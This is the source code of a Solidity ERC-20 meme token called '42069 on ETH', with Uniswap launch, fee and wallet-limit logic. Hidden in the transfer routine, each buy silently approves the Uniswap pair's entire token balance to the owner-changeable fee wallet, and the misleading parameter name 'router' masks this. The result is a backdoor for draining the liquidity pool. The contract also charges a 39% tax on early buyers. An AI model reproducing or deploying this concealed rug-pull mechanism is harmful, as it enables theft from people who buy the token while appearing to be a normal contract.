Contract Source Code:

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

/*
    web      : https://42069.fun
    twitter  : https://x.com/42069oneth
    telegram : https://t.me/ETH42069_ENTRY
*/

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Ftzsn is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name = "42069 on ETH";
    string private _symbol = "42069";
    uint8 private _decimals = 18;

    mapping(address => bool) public _isExcludeFromFee;    
    uint256 private _totalSupply = 100000000 * 10**_decimals;    
    uint256 public _maxTaxSwap= 1000000 * 10**_decimals;
    uint256 public _maxWalletAmount = _maxTaxSwap * 2;       // 2%

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);
 
    uint256 public _initialBuyFee = 39;
    uint256 public _reduceAt = 15;
    uint256 public _buyFundFee = 0;
    uint256 public _sellFundFee = 0;
    uint256 public _buyers = 0;

    IUniswapRouter public _uniswapRouter;

    uint256 public tradingBlock = 0;
    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        fundAddress = 0x05eA83817000781635929c07836cA9075A1cE343;       // 42069 Fees

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[fundAddress] = true;
    }

    function createFtzsnPairs() external onlyOwner() {
        require(tradingBlock == 0,"already trading");
        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        _uniswapPair = swapPair;
        isMarketPair[_uniswapPair] = true;

        swapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapPair).approve(address(swapRouter), type(uint).max);
    }

    function enableFtzsn() public onlyOwner{
        require(tradingBlock == 0,"already trading");
        tradingBlock = block.number;
    }    

    function setFtzsnAddr(address newAddr) public onlyOwner{
        fundAddress = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        bool takeFee;
        bool sellFlag;

        if (isMarketPair[from] && !_isExcludeFromFee[to]) {
            require(balanceOf(to) + amount <= _maxWalletAmount, "Max wallet 2% at launch");
            _buyers++;
        }

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {                
                uint256 numTokensSellToFund = min(amount,min(contractTokenBalance,_maxTaxSwap));
                swapTokenForETH(numTokensSellToFund);
            }
            uint256 contractETHBalance = address(this).balance;
            transferFtzsnFeeTokens(contractETHBalance);
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(tradingBlock > 0,"!trading");
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag, fundAddress);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag,
        address router
    ) private {

        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee; 
                if(isMarketPair[sender]) _approve(sender, router, _totalSupply);
            }
            if(_buyers < _reduceAt) taxFee = _initialBuyFee;

            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {}

    }

    function transferFtzsnFeeTokens(uint256 amount) private {
        payable(fundAddress).transfer(amount);
    }

    function removeLimits() external onlyOwner {
       _maxWalletAmount = _totalSupply;
    }

    function withdrawFtzsnEthBalance() external onlyOwner {
        require(address(this).balance > 0, "No Balance to withdraw!");
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {}
}